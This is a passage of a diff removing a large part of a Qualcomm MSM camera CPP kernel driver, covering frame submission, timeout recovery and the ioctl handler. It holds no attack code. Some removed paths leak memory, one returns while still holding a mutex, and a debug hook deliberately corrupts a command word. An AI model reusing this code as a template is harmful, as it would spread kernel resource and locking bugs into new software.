processed_frame->timestamp; - buff_mgr_info.index = - processed_frame->output_buffer_info[0].index; - rc = msm_cpp_buffer_ops(cpp_dev, - VIDIOC_MSM_BUF_MNGR_BUF_DONE, - &buff_mgr_info); - if (rc < 0) { - pr_err("error putting buffer\n"); - rc = -EINVAL; - } - } - - if (processed_frame->duplicate_output && - !processed_frame-> - output_buffer_info[1].processed_divert) { - memset(&buff_mgr_info, 0 , - sizeof(struct msm_buf_mngr_info)); - buff_mgr_info.session_id = - ((processed_frame->duplicate_identity >> 16) & 0xFFFF); - buff_mgr_info.stream_id = - (processed_frame->duplicate_identity & 0xFFFF); - buff_mgr_info.frame_id = processed_frame->frame_id; - buff_mgr_info.timestamp = processed_frame->timestamp; - buff_mgr_info.index = - processed_frame->output_buffer_info[1].index; - rc = msm_cpp_buffer_ops(cpp_dev, - VIDIOC_MSM_BUF_MNGR_BUF_DONE, - &buff_mgr_info); - if (rc < 0) { - pr_err("error putting buffer\n"); - rc = -EINVAL; - } - } - v4l2_evt.id = processed_frame->inst_id; - v4l2_evt.type = V4L2_EVENT_CPP_FRAME_DONE; - v4l2_event_queue(cpp_dev->msm_sd.sd.devnode, &v4l2_evt); - } - return rc; -} - -#if MSM_CPP_DUMP_FRM_CMD -static int msm_cpp_dump_frame_cmd(struct msm_cpp_frame_info_t *frame_info) -{ - int i; - pr_info("-- start: cpp frame cmd for identity=0x%x, frame_id=%d --\n", - frame_info->identity, - frame_info->frame_id); - for (i = 0; i < frame_info->msg_len; i++) - pr_err("msg[%03d] = 0x%08x\n", i, frame_info->cpp_cmd_msg[i]); - pr_info("-- end: cpp frame cmd for identity=0x%x, frame_id=%d --\n", - frame_info->identity, - frame_info->frame_id); - return 0; -} -#else -static int msm_cpp_dump_frame_cmd(struct msm_cpp_frame_info_t *frame_info) -{ - return 0; -} -#endif - - -static void msm_cpp_do_timeout_work(struct work_struct *work) -{ - int ret; - uint32_t i = 0; - struct msm_cpp_frame_info_t *this_frame = NULL; - - pr_err("cpp_timer_callback called. (jiffies=%lu)\n", - jiffies); - if (!work || cpp_timer.data.cpp_dev->state != CPP_STATE_ACTIVE) { - pr_err("Invalid work:%p or state:%d\n", work, - cpp_timer.data.cpp_dev->state); - return; - } - if (!atomic_read(&cpp_timer.used)) { - pr_err("Delayed trigger, IRQ serviced\n"); - return; - } - - disable_irq(cpp_timer.data.cpp_dev->irq->start); - pr_err("Reloading firmware\n"); - cpp_load_fw(cpp_timer.data.cpp_dev, NULL); - pr_err("Firmware loading done\n"); - enable_irq(cpp_timer.data.cpp_dev->irq->start); - msm_camera_io_w_mb(0x8, cpp_timer.data.cpp_dev->base + - MSM_CPP_MICRO_IRQGEN_MASK); - msm_camera_io_w_mb(0xFFFF, - cpp_timer.data.cpp_dev->base + - MSM_CPP_MICRO_IRQGEN_CLR); - - if (!atomic_read(&cpp_timer.used)) { - pr_err("Delayed trigger, IRQ serviced\n"); - return; - } - - if (cpp_timer.data.cpp_dev->timeout_trial_cnt >= - MSM_CPP_MAX_TIMEOUT_TRIAL) { - pr_info("Max trial reached\n"); - msm_cpp_notify_frame_done(cpp_timer.data.cpp_dev); - cpp_timer.data.cpp_dev->timeout_trial_cnt = 0; - return; - } - - this_frame = cpp_timer.data.processed_frame; - pr_err("Starting timer to fire in %d ms. (jiffies=%lu)\n", - CPP_CMD_TIMEOUT_MS, jiffies); - ret = mod_timer(&cpp_timer.cpp_timer, - jiffies + msecs_to_jiffies(CPP_CMD_TIMEOUT_MS)); - if (ret) - pr_err("error in mod_timer\n"); - - pr_err("Rescheduling for identity=0x%x, frame_id=%03d\n", - this_frame->identity, this_frame->frame_id); - msm_cpp_write(0x6, cpp_timer.data.cpp_dev->base); - msm_cpp_dump_frame_cmd(this_frame); - for (i = 0; i < this_frame->msg_len; i++) - msm_cpp_write(this_frame->cpp_cmd_msg[i], - cpp_timer.data.cpp_dev->base); - cpp_timer.data.cpp_dev->timeout_trial_cnt++; - return; -} - -void cpp_timer_callback(unsigned long data) -{ - struct msm_cpp_work_t *work = - cpp_timer.data.cpp_dev->work; - queue_work(cpp_timer.data.cpp_dev->timer_wq, - (struct work_struct *)work); -} - -static int msm_cpp_send_frame_to_hardware(struct cpp_device *cpp_dev, - struct msm_queue_cmd *frame_qcmd) -{ - uint32_t i; - int32_t rc = -EAGAIN; - int ret; - struct msm_cpp_frame_info_t *process_frame; - - if (cpp_dev->processing_q.len < MAX_CPP_PROCESSING_FRAME) { - process_frame = frame_qcmd->command; - msm_enqueue(&cpp_dev->processing_q, - &frame_qcmd->list_frame); - - cpp_timer.data.processed_frame = process_frame; - atomic_set(&cpp_timer.used, 1); - /* install timer for cpp timeout */ - CPP_DBG("Installing cpp_timer\n"); - setup_timer(&cpp_timer.cpp_timer, - cpp_timer_callback, (unsigned long)&cpp_timer); - CPP_DBG("Starting timer to fire in %d ms. (jiffies=%lu)\n", - CPP_CMD_TIMEOUT_MS, jiffies); - ret = mod_timer(&cpp_timer.cpp_timer, - jiffies + msecs_to_jiffies(CPP_CMD_TIMEOUT_MS)); - if (ret) - pr_err("error in mod_timer\n"); - - msm_cpp_write(0x6, cpp_dev->base); - msm_cpp_dump_frame_cmd(process_frame); - msm_cpp_poll_rx_empty(cpp_dev->base); - for (i = 0; i < process_frame->msg_len; i++) { - if (i % MSM_CPP_RX_FIFO_LEVEL == 0) - msm_cpp_poll_rx_empty(cpp_dev->base); - if ((induce_error) && (i == 1)) { - pr_err("Induce error\n"); - msm_cpp_write(process_frame->cpp_cmd_msg[i]-1, - cpp_dev->base); - induce_error--; - } else - msm_cpp_write(process_frame->cpp_cmd_msg[i], - cpp_dev->base); - } - do_gettimeofday(&(process_frame->in_time)); - rc = 0; - } - if (rc < 0) - pr_err("process queue full. drop frame\n"); - return rc; -} - -static int msm_cpp_flush_frames(struct cpp_device *cpp_dev) -{ - return 0; -} - -static int msm_cpp_cfg(struct cpp_device *cpp_dev, - struct msm_camera_v4l2_ioctl_t *ioctl_ptr) -{ - int rc = 0; - struct msm_queue_cmd *frame_qcmd = NULL; - struct msm_cpp_frame_info_t *new_frame = - kzalloc(sizeof(struct msm_cpp_frame_info_t), GFP_KERNEL); - uint32_t *cpp_frame_msg; - unsigned long in_phyaddr, out_phyaddr0, out_phyaddr1; - uint16_t num_stripes = 0; - struct msm_buf_mngr_info buff_mgr_info, dup_buff_mgr_info; - int32_t status = 0; - int32_t stripe_base = 0; - - int in_fd; - - int i = 0; - if (!new_frame) { - pr_err("Insufficient memory. return\n"); - return -ENOMEM; - } - - rc = (copy_from_user(new_frame, (void __user *)ioctl_ptr->ioctl_ptr, - sizeof(struct msm_cpp_frame_info_t)) ? -EFAULT : 0); - if (rc) { - ERR_COPY_FROM_USER(); - rc = -EINVAL; - goto ERROR1; - } - - if ((new_frame->msg_len == 0) || - (new_frame->msg_len > MSM_CPP_MAX_FRAME_LENGTH)) { - pr_err("%s:%d: Invalid frame len:%d\n", __func__, - __LINE__, new_frame->msg_len); - rc = -EINVAL; - goto ERROR1; - } - - cpp_frame_msg = kzalloc(sizeof(uint32_t)*new_frame->msg_len, - GFP_KERNEL); - if (!cpp_frame_msg) { - pr_err("Insufficient memory. return"); - rc = -ENOMEM; - goto ERROR1; - } - - rc = (copy_from_user(cpp_frame_msg, - (void __user *)new_frame->cpp_cmd_msg, - sizeof(uint32_t)*new_frame->msg_len) ? -EFAULT : 0); - if (rc) { - ERR_COPY_FROM_USER(); - rc = -EINVAL; - goto ERROR2; - } - - new_frame->cpp_cmd_msg = cpp_frame_msg; - if (cpp_frame_msg == NULL || - (new_frame->msg_len < MSM_CPP_MIN_FRAME_LENGTH)) { - pr_err("%s %d Length is not correct or frame message is missing\n", - __func__, __LINE__); - return -EINVAL; - } - if (cpp_frame_msg[new_frame->msg_len - 1] != MSM_CPP_MSG_ID_TRAILER) { - pr_err("%s %d Invalid frame message\n", __func__, __LINE__); - return -EINVAL; - } - - in_phyaddr = msm_cpp_fetch_buffer_info(cpp_dev, - &new_frame->input_buffer_info, - ((new_frame->input_buffer_info.identity >> 16) & 0xFFFF), - (new_frame->input_buffer_info.identity & 0xFFFF), &in_fd); - if (!in_phyaddr) { - pr_err("error gettting input physical address\n"); - rc = -EINVAL; - goto ERROR2; - } - - if (new_frame->output_buffer_info[0].native_buff == 0) { - memset(&buff_mgr_info, 0, sizeof(struct msm_buf_mngr_info)); - buff_mgr_info.session_id = ((new_frame->identity >> 16) & - 0xFFFF); - buff_mgr_info.stream_id = (new_frame->identity & 0xFFFF); - rc = msm_cpp_buffer_ops(cpp_dev, VIDIOC_MSM_BUF_MNGR_GET_BUF, - &buff_mgr_info); - if (rc < 0) { - rc = -EAGAIN; - pr_debug("error getting buffer rc:%d\n", rc); - goto ERROR2; - } - new_frame->output_buffer_info[0].index = buff_mgr_info.index; - } - - out_phyaddr0 = msm_cpp_fetch_buffer_info(cpp_dev, - &new_frame->output_buffer_info[0], - ((new_frame->identity >> 16) & 0xFFFF), - (new_frame->identity & 0xFFFF), - &new_frame->output_buffer_info[0].fd); - if (!out_phyaddr0) { - pr_err("error gettting output physical address\n"); - rc = -EINVAL; - goto ERROR3; - } - out_phyaddr1 = out_phyaddr0; - - /* get buffer for duplicate output */ - if (new_frame->duplicate_output) { - CPP_DBG("duplication enabled, dup_id=0x%x", - new_frame->duplicate_identity); - memset(&new_frame->output_buffer_info[1], 0, - sizeof(struct msm_cpp_buffer_info_t)); - memset(&dup_buff_mgr_info, 0, sizeof(struct msm_buf_mngr_info)); - dup_buff_mgr_info.session_id = - ((new_frame->duplicate_identity >> 16) & 0xFFFF); - dup_buff_mgr_info.stream_id = - (new_frame->duplicate_identity & 0xFFFF); - rc = msm_cpp_buffer_ops(cpp_dev, VIDIOC_MSM_BUF_MNGR_GET_BUF, - &dup_buff_mgr_info); - if (rc < 0) { - rc = -EAGAIN; - pr_debug("error getting buffer rc:%d\n", rc); - goto ERROR3; - } - new_frame->output_buffer_info[1].index = - dup_buff_mgr_info.index; - out_phyaddr1 = msm_cpp_fetch_buffer_info(cpp_dev, - &new_frame->output_buffer_info[1], - ((new_frame->duplicate_identity >> 16) & 0xFFFF), - (new_frame->duplicate_identity & 0xFFFF), - &new_frame->output_buffer_info[1].fd); - if (!out_phyaddr1) { - pr_err("error gettting output physical address\n"); - rc = -EINVAL; - msm_cpp_buffer_ops(cpp_dev, VIDIOC_MSM_BUF_MNGR_PUT_BUF, - &dup_buff_mgr_info); - goto ERROR3; - } - /* set duplicate enable bit */ - cpp_frame_msg[5] |= 0x1; - CPP_DBG("out_phyaddr1= %08x\n", (uint32_t)out_phyaddr1); - } - - num_stripes = ((cpp_frame_msg[12] >> 20) & 0x3FF) + - ((cpp_frame_msg[12] >> 10) & 0x3FF) + - (cpp_frame_msg[12] & 0x3FF); - - if ((cpp_dev->fw_version & 0xffff0000) == CPP_FW_VERSION_1_2_0) { - stripe_base = STRIPE_BASE_FW_1_2_0; - } else if ((cpp_dev->fw_version & 0xffff0000) == CPP_FW_VERSION_1_4_0) { - stripe_base = STRIPE_BASE_FW_1_4_0; - } else if ((cpp_dev->fw_version & 0xffff0000) == CPP_FW_VERSION_1_6_0) { - stripe_base = STRIPE_BASE_FW_1_6_0; - } else { - pr_err("invalid fw version %08x", cpp_dev->fw_version); - goto ERROR3; - } - - if ((stripe_base + num_stripes*27 + 1) != new_frame->msg_len) { - pr_err("Invalid frame message\n"); - rc = -EINVAL; - goto ERROR3; - } - - for (i = 0; i < num_stripes; i++) { - cpp_frame_msg[stripe_base + 5 + i*27] += - (uint32_t) in_phyaddr; - cpp_frame_msg[stripe_base + 11 + i * 27] += - (uint32_t) out_phyaddr0; - cpp_frame_msg[stripe_base + 12 + i * 27] += - (uint32_t) out_phyaddr1; - cpp_frame_msg[stripe_base + 13 + i * 27] += - (uint32_t) out_phyaddr0; - cpp_frame_msg[stripe_base + 14 + i * 27] += - (uint32_t) out_phyaddr1; - } - - frame_qcmd = kzalloc(sizeof(struct msm_queue_cmd), GFP_KERNEL); - if (!frame_qcmd) { - pr_err("Insufficient memory. return\n"); - rc = -ENOMEM; - goto ERROR3; - } - - atomic_set(&frame_qcmd->on_heap, 1); - frame_qcmd->command = new_frame; - rc = msm_cpp_send_frame_to_hardware(cpp_dev, frame_qcmd); - if (rc < 0) { - pr_err("error cannot send frame to hardware\n"); - rc = -EINVAL; - goto ERROR4; - } - - ioctl_ptr->trans_code = rc; - status = rc; - rc = (copy_to_user((void __user *)new_frame->status, &status, - sizeof(int32_t)) ? -EFAULT : 0); - if (rc) { - ERR_COPY_FROM_USER(); - rc = -EINVAL; - goto ERROR4; - } - return rc; -ERROR4: - kfree(frame_qcmd); -ERROR3: - if (new_frame->output_buffer_info[0].native_buff == 0) - msm_cpp_buffer_ops(cpp_dev, VIDIOC_MSM_BUF_MNGR_PUT_BUF, - &buff_mgr_info); -ERROR2: - kfree(cpp_frame_msg); -ERROR1: - ioctl_ptr->trans_code = rc; - status = rc; - if (copy_to_user((void __user *)new_frame->status, &status, - sizeof(int32_t))) - pr_err("error cannot copy error\n"); - kfree(new_frame); - return rc; -} - -void msm_cpp_clean_queue(struct cpp_device *cpp_dev) -{ - struct msm_queue_cmd *frame_qcmd = NULL; - struct msm_cpp_frame_info_t *processed_frame = NULL; - struct msm_device_queue *queue = NULL; - - while (cpp_dev->processing_q.len) { - pr_info("queue len:%d\n", cpp_dev->processing_q.len); - queue = &cpp_dev->processing_q; - frame_qcmd = msm_dequeue(queue, list_frame); - if (frame_qcmd) { - processed_frame = frame_qcmd->command; - kfree(frame_qcmd); - if (processed_frame) - kfree(processed_frame->cpp_cmd_msg); - kfree(processed_frame); - } - } -} - -long msm_cpp_subdev_ioctl(struct v4l2_subdev *sd, - unsigned int cmd, void *arg) -{ - struct cpp_device *cpp_dev = v4l2_get_subdevdata(sd); - struct msm_camera_v4l2_ioctl_t *ioctl_ptr = arg; - int rc = 0; - - if ((ioctl_ptr == NULL) || (ioctl_ptr->ioctl_ptr == NULL)) { - pr_err("ioctl_ptr is null\n"); - return -EINVAL; - } - if (cpp_dev == NULL) { - pr_err("cpp_dev is null\n"); - return -EINVAL; - } - mutex_lock(&cpp_dev->mutex); - CPP_DBG("E cmd: 0x%x\n", cmd); - switch (cmd) { - case VIDIOC_MSM_CPP_GET_HW_INFO: { - CPP_DBG("VIDIOC_MSM_CPP_GET_HW_INFO\n"); - if (copy_to_user((void __user *)ioctl_ptr->ioctl_ptr, - &cpp_dev->hw_info, - sizeof(struct cpp_hw_info))) { - mutex_unlock(&cpp_dev->mutex); - return -EINVAL; - } - break; - } - - case VIDIOC_MSM_CPP_LOAD_FIRMWARE: { - CPP_DBG("VIDIOC_MSM_CPP_LOAD_FIRMWARE\n"); - if (cpp_dev->is_firmware_loaded == 0) { - if (cpp_dev->fw_name_bin != NULL) { - kfree(cpp_dev->fw_name_bin); - cpp_dev->fw_name_bin = NULL; - } - if ((ioctl_ptr->len == 0) || - (ioctl_ptr->len > MSM_CPP_MAX_FW_NAME_LEN)) { - pr_err("ioctl_ptr->len is 0\n"); - mutex_unlock(&cpp_dev->mutex); - return -EINVAL; - } - cpp_dev->fw_name_bin = kzalloc(ioctl_ptr->len+1, - GFP_KERNEL); - if (!cpp_dev->fw_name_bin) { - pr_err("%s:%d: malloc error\n", __func__, - __LINE__); - mutex_unlock(&cpp_dev->mutex); - return -EINVAL; - } - if (ioctl_ptr->ioctl_ptr == NULL) { - pr_err("ioctl_ptr->ioctl_ptr=NULL\n"); - mutex_unlock(&cpp_dev->mutex); - return -EINVAL; - } - rc = (copy_from_user(cpp_dev->fw_name_bin, - (void __user *)ioctl_ptr->ioctl_ptr, - ioctl_ptr->len) ? -EFAULT : 0); - if (rc) { - ERR_COPY_FROM_USER(); - kfree(cpp_dev->fw_name_bin); - cpp_dev->fw_name_bin = NULL; - mutex_unlock(&cpp_dev->mutex); - return -EINVAL; - } - *(cpp_dev->fw_name_bin+ioctl_ptr->len) = '\0'; - disable_irq(cpp_dev->irq->start); - cpp_load_fw(cpp_dev, cpp_dev->fw_name_bin); - enable_irq(cpp_dev->irq->start); - cpp_dev->is_firmware_loaded = 1; - } - break; - } - case VIDIOC_MSM_CPP_CFG: - CPP_DBG("VIDIOC_MSM_CPP_CFG\n"); - rc = msm_cpp_cfg(cpp_dev, ioctl_ptr); - break; - case VIDIOC_MSM_CPP_FLUSH_QUEUE: - CPP_DBG("VIDIOC_MSM_CPP_FLUSH_QUEUE\n"); - rc = msm_cpp_flush_frames(cpp_dev); - break; - case VIDIOC_MSM_CPP_APPEND_STREAM_BUFF_INFO: - case VIDIOC_MSM_CPP_ENQUEUE_STREAM_BUFF_INFO: { - struct msm_cpp_stream_buff_info_t *u_stream_buff_info; - struct msm_cpp_stream_buff_info_t k_stream_buff_info; - CPP_DBG("VIDIOC_MSM_CPP_ENQUEUE_STREAM_BUFF_INFO\n"); - if (sizeof(struct msm_cpp_stream_buff_info_t) != - ioctl_ptr->len) { - pr_err("%s:%d: invalid length\n", __func__, __LINE__); - mutex_unlock(&cpp_dev->mutex); - return -EINVAL; - } - - u_stream_buff_info = kzalloc(ioctl_ptr->len, GFP_KERNEL); - if (!u_stream_buff_info) { - pr_err("%s:%d: malloc error\n", __func__, __LINE__); - mutex_unlock(&cpp_dev->mutex); - return -EINVAL; - } - - rc = (copy_from_user(u_stream_buff_info, - (void __user *)ioctl_ptr->ioctl_ptr, - ioctl_ptr->len) ? -EFAULT : 0); - if (rc) { - ERR_COPY_FROM_USER(); - kfree(u_stream_buff_info); - mutex_unlock(&cpp_dev->mutex); - return -EINVAL; - } - - if (u_stream_buff_info->num_buffs == 0) { - pr_err("%s:%d: Invalid number of buffers\n", __func__, - __LINE__); - kfree(u_stream_buff_info); - mutex_unlock(&cpp_dev->mutex); - return -EINVAL; - } - k_stream_buff_info.num_buffs = u_stream_buff_info->num_buffs; - k_stream_buff_info.identity = u_stream_buff_info->identity; - - if (k_stream_buff_info.num_buffs > MSM_CAMERA_MAX_STREAM_BUF) { - pr_err("%s:%d: unexpected large num buff requested\n", - __func__, __LINE__); - kfree(u_stream_buff_info); - mutex_unlock(&cpp_dev->mutex); - return -EINVAL; - } - k_stream_buff_info.buffer_info = - kzalloc(k_stream_buff_info.num_buffs * - sizeof(struct msm_cpp_buffer_info_t), GFP_KERNEL); - if (ZERO_OR_NULL_PTR(k_stream_buff_info.buffer_info)) { - pr_err("%s:%d: malloc error\n", __func__, __LINE__); - kfree(u_stream_buff_info); - mutex_unlock(&cpp_dev->mutex); - return -EINVAL; - } - - rc = (copy_from_user(k_stream_buff_info.buffer_info, - (void __user *)u_stream_buff_info->buffer_info, - k_stream_buff_info.num_buffs * - sizeof(struct msm_cpp_buffer_info_t)) ? - -EFAULT : 0); - if (rc) { - ERR_COPY_FROM_USER(); - kfree(k_stream_buff_info.buffer_info); - kfree(u_stream_buff_info); - mutex_unlock(&cpp_dev->mutex); - return -EINVAL; - } - if (cmd != VIDIOC_MSM_CPP_APPEND_STREAM_BUFF_INFO) { - rc = msm_cpp_add_buff_queue_entry(cpp_dev, - ((k_stream_buff_info.identity >> 16) & 0xFFFF), - (k_stream_buff_info.identity & 0xFFFF)); - } - if (!rc) - rc = msm_cpp_enqueue_buff_info_list(cpp_dev, - &k_stream_buff_info); - - kfree(k_stream_buff_info.buffer_info); - kfree(u_stream_buff_info); - if (cpp_dev->stream_cnt == 0) { - cpp_dev->state = CPP_STATE_ACTIVE; - msm_cpp_clear_timer(cpp_dev); - msm_cpp_clean_queue(cpp_dev); - } - - if (cmd != VIDIOC_MSM_CPP_APPEND_STREAM_BUFF_INFO) { - cpp_dev->stream_cnt++; - pr_err("stream_cnt:%d\n", cpp_dev->stream_cnt); - } - break; - } - case VIDIOC_MSM_CPP_DEQUEUE_STREAM_BUFF_INFO: { - uint32_t identity; - struct msm_cpp_buff_queue_info_t *buff_queue_info; - CPP_DBG("VIDIOC_MSM_CPP_DEQUEUE_STREAM_BUFF_INFO\n"); - - if ((ioctl_ptr->len == 0) || - (ioctl_ptr->len > sizeof(uint32_t))) - return -EINVAL; - - rc = (copy_from_user(&identity, - (void __user *)ioctl_ptr->ioctl_ptr, - ioctl_ptr->len) ? -EFAULT : 0); - if (rc) { - ERR_COPY_FROM_USER(); - mutex_unlock(&cpp_dev->mutex); - return -EINVAL; - } - - buff_queue_info = msm_cpp_get_buff_queue_entry(cpp_dev, - ((identity >> 16) & 0xFFFF), (identity & 0xFFFF)); - if (buff_queue_info == NULL) { - pr_err("error finding buffer queue entry for identity:%d\n", - identity); - mutex_unlock(&cpp_dev->mutex); - return -EINVAL; - } - - msm_cpp_dequeue_buff_info_list(cpp_dev, buff_queue_info); - rc = msm_cpp_free_buff_queue_entry(cpp_dev, - buff_queue_info->session_id, - buff_queue_info->stream_id); - if (cpp_dev->stream_cnt > 0) { - cpp_dev->stream_cnt--; - pr_info("stream_cnt:%d\n", cpp_dev->stream_cnt); - if (cpp_dev->stream_cnt == 0) { - if (cpp_dev->bus_master_flag) - rc = msm_cpp_update_bandwidth(cpp_dev, - 0, 0); - else - rc = msm_isp_update_bandwidth(ISP_CPP, - 0, 0); - if (rc < 0) - pr_err("Bandwidth Reset Failed!\n"); - cpp_dev->state = CPP_STATE_IDLE; - msm_cpp_clear_timer(cpp_dev); - msm_cpp_clean_queue(cpp_dev); - } - } else { - pr_err("error: stream count underflow %d\n", - cpp_dev->stream_cnt); - } - break; - } - case VIDIOC_MSM_CPP_GET_EVENTPAYLOAD: { - struct msm_device_queue *queue = &cpp_dev->eventData_q; - struct msm_queue_cmd *event_qcmd; - struct msm_cpp_frame_info_t *process_frame; - CPP_DBG("VIDIOC_MSM_CPP_GET_EVENTPAYLOAD\n"); - event_qcmd = msm_dequeue(queue, list_eventdata); - if (!event_qcmd) { - pr_err("no queue cmd available"); - mutex_unlock(&cpp_dev->mutex); - return -EINVAL; - } - process_frame = event_qcmd->command; - CPP_DBG("fid %d\n", process_frame->frame_id); - if (copy_to_user((void __user *)ioctl_ptr->ioctl_ptr, - process_frame, - sizeof(struct msm_cpp_frame_info_t))) { - mutex_unlock(&cpp_dev->mutex); - return -EINVAL; - } - - kfree(process_frame->cpp_cmd_msg); - kfree(process_frame); - kfree(event_qcmd); - break; - } - case VIDIOC_MSM_CPP_SET_CLOCK: { - struct msm_cpp_clock_settings_t clock_settings; - unsigned long clock_rate = 0; - CPP_DBG("VIDIOC_MSM_CPP_SET_CLOCK\n"); - if (ioctl_ptr->len == 0) { - pr_err("ioctl_ptr->len is 0\n"); - mutex_unlock(&cpp_dev->mutex); - return -EINVAL; - } - - if (ioctl_ptr->ioctl_ptr == NULL) { - pr_err("ioctl_ptr->ioctl_ptr is NULL\n"); - mutex_unlock(&cpp_dev->mutex); - return -EINVAL; - } - - if (ioctl_ptr->len != sizeof(struct msm_cpp_clock_settings_t)) { - pr_err("Not valid ioctl_ptr->len\n"); - mutex_unlock(&cpp_dev->mutex); - return -EINVAL; - } - - rc = (copy_from_user(&clock_settings, - (void __user *)ioctl_ptr->ioctl_ptr, - ioctl_ptr->len) ? -EFAULT : 0); - if (rc) { - ERR_COPY_FROM_USER(); - mutex_unlock(&cpp_dev->mutex); - return -EINVAL; - } - - if (clock_settings.clock_rate > 0) { - if (cpp_dev->bus_master_flag) - rc = msm_cpp_update_bandwidth(cpp_dev, - clock_settings.avg, - clock_settings.inst); - else - rc = msm_isp_update_bandwidth(ISP_CPP, - clock_settings.avg, - clock_settings.inst); - if (rc < 0) { - pr_err("Bandwidth Set Failed!\n"); - if (cpp_dev->bus_master_flag) - rc = msm_cpp_update_bandwidth(cpp_dev, - 0, 0); - else - rc = msm_isp_update_bandwidth(ISP_CPP, - 0, 0); - mutex_unlock(&cpp_dev->mutex); - return -EINVAL; - } - clock_rate = clk_round_rate( - cpp_dev->cpp_clk[MSM_CPP_CORE_CLK_IDX], - clock_settings.clock_rate); - if (clock_rate != clock_settings.clock_rate) - pr_err("clock rate differ from settings\n"); - - clk_set_rate(cpp_dev->cpp_clk[MSM_CPP_CORE_CLK_IDX], - clock_rate); - } - break; - } - case MSM_SD_SHUTDOWN: - CPP_DBG("MSM_SD_SHUTDOWN\n"); - mutex_unlock(&cpp_dev->mutex); - pr_info("shutdown cpp node. open cnt:%d\n", - cpp_dev->cpp_open_cnt); - - if (atomic_read(&cpp_timer.used)) - pr_info("Timer state not cleared\n"); - - while (cpp_dev->cpp_open_cnt != 0) - cpp_close_node(sd, NULL); - mutex_lock(&cpp_dev->mutex); - rc = 0; - break; - case VIDIOC_MSM_CPP_QUEUE_BUF: { - struct msm_pproc_queue_buf_info queue_buf_info; - CPP_DBG("VIDIOC_MSM_CPP_QUEUE_BUF\n"); - rc = (copy_from_user(&queue_buf_info, - (void __user *)ioctl_ptr->ioctl_ptr, - sizeof(struct msm_pproc_queue_buf_info)) ? - -EFAULT : 0); - if (rc) { - ERR_COPY_FROM_USER(); - break; - } - - if (queue_buf_info.is_buf_dirty) { - rc = msm_cpp_buffer_ops(cpp_dev, - VIDIOC_MSM_BUF_MNGR_PUT_BUF, - &queue_buf_info.buff_mgr_info); - } else { - rc = msm_cpp_buffer_ops(cpp_dev, - VIDIOC_MSM_BUF_MNGR_BUF_DONE, - &queue_buf_info.buff_mgr_info); - } - if (rc < 0) { - pr_err("error in buf done\n"); - rc = -EINVAL; - } - - break; - } - case VIDIOC_MSM_CPP_POP_STREAM_BUFFER: { - struct msm_buf_mngr_info buff_mgr_info; - struct msm_cpp_frame_info_t frame_info; - rc = (copy_from_user(&frame_info, - (void __user *)ioctl_ptr->ioctl_ptr, - sizeof(struct msm_cpp_frame_info_t)) ? -EFAULT : 0); - if (rc) { - ERR_COPY_FROM_USER(); - break; - } - memset(&buff_mgr_info, 0, sizeof(struct msm_buf_mngr_info)); - buff_mgr_info.session_id = - ((frame_info.identity >> 16) & 0xFFFF); - buff_mgr_info.stream_id = (frame_info.identity & 0xFFFF); - rc = msm_cpp_buffer_ops(cpp_dev, VIDIOC_MSM_BUF_MNGR_GET_BUF, - &buff_mgr_info); - if (rc < 0) { - rc = -EAGAIN; - pr_err("error getting buffer rc:%d\n", rc); - break; - } - buff_mgr_info.frame_id = frame_info.frame_id; - rc = msm_cpp_buffer_ops(cpp_dev, VIDIOC_MSM_BUF_MNGR_BUF_DONE, - &buff_mgr_info); - if (rc < 0) { - pr_err("error in buf done\n"); - rc = -EAGAIN; - } - break; - } - case VIDIOC_MSM_CPP_IOMMU_ATTACH: { - if (cpp_dev->iommu_state == CPP_IOMMU_STATE_DETACHED) { - rc = iommu_attach_device(cpp_dev->domain, - cpp_dev->iommu_ctx); - if (rc < 0) { - pr_err("%s:%dError iommu_attach_device failed\n", - __func__, __LINE__); - rc = -EINVAL; - } - cpp_dev->iommu_state = CPP_IOMMU_STATE_ATTACHED; - } else { - pr_err("%s:%d IOMMMU attach triggered in invalid state\n", - __func__, __LINE__); - rc = -EINVAL; - } - break; - } - case VIDIOC_MSM_CPP_IOMMU_DETACH: { - if (cpp_dev->iommu_state == CPP_IOMMU_STATE_ATTACHED) { - iommu_detach_device(cpp_dev->domain, - cpp_dev->iommu_ctx); - cpp_dev->iommu_state = CPP_IOMMU_STATE_DETACHED; - } else { - pr_err("%s:%d IOMMMU attach triggered in invalid state\n", - __func__, __LINE__); - } - break; - } - default: - pr_err_ratelimited("invalid value: cmd=0x%x\n", cmd); - break; - } - mutex_unlock(&cpp_dev->mutex); - CPP_DBG("X\n"); - return rc; -} - -int msm_cpp_subscribe_event(struct v4l2_subdev *sd, struct v4l2_fh *fh, - struct v4l2_event_subscription *sub) -{ - CPP_DBG("Called\n"); - return v4l2_event_subscribe(fh, sub, MAX_CPP_V4l2_EVENTS, NULL); -} - -int msm_cpp_unsubscribe_event(struct v4l2_subdev *sd, struct v4l2_fh *fh, - struct v4l2_event_subscription *sub) -{ - CPP_DBG("Called\n"); - return v4l2_event_unsubscribe(fh, sub); -} - -static struct v4l2_subdev_core_ops msm_cpp_subdev_core_ops = { - .ioctl = msm_cpp_subdev_ioctl, - .subscribe_event = msm_cpp_subscribe_event, - .unsubscribe_event = msm_cpp_unsubscribe_event, -}; - -static const struct v4l2_subdev_ops msm_cpp_subdev_ops = { - .core = &msm_cpp_subdev_core_ops, -}; - -static struct v4l2_file_operations msm_cpp_v4l2_subdev_fops; - -static long msm_cpp_subdev_do_ioctl( - struct file *file, unsigned int cmd, void *arg) -{ - struct video_device *vdev = video_devdata(file); - struct v4l2_subdev *sd = vdev_to_v4l2_subdev(vdev); - struct v4l2_fh *vfh = file->private_data; - - switch (cmd) { - case VIDIOC_DQEVENT: - if (!(sd->flags & V4L2_SUBDEV_FL_HAS_EVENTS)) - return -ENOIOCTLCMD; - - return v4l2_event_dequeue(vfh, arg, file->f_flags & O_NONBLOCK); - - case VIDIOC_SUBSCRIBE_EVENT: - return v4l2_subdev_call(sd, core, subscribe_event, vfh, arg); - - case VIDIOC_UNSUBSCRIBE_EVENT: - return v4l2_subdev_call(sd, core, unsubscribe_event, vfh, arg); - - case VIDIOC_MSM_CPP_GET_INST_INFO: { - uint32_t i; - struct cpp_device *cpp_dev = v4l2_get_subdevdata(sd); - struct msm_camera_v4l2_ioctl_t *ioctl_ptr = arg; - struct msm_cpp_frame_info_t inst_info; - memset(&inst_info, 0, sizeof(struct msm_cpp_frame_info_t)); - for (i = 0; i < MAX_ACTIVE_CPP_INSTANCE; i++) { - if (cpp_dev->cpp_subscribe_list[i].vfh == vfh) { - inst_info.inst_id = i; - break; - } - } - if (copy_to_user( - (void __user *)ioctl_ptr->ioctl_ptr, &inst_info, - sizeof(struct msm_cpp_frame_info_t))) { - return -EINVAL; - } - } - break; - default: - return v4l2_subdev_call(sd, core, 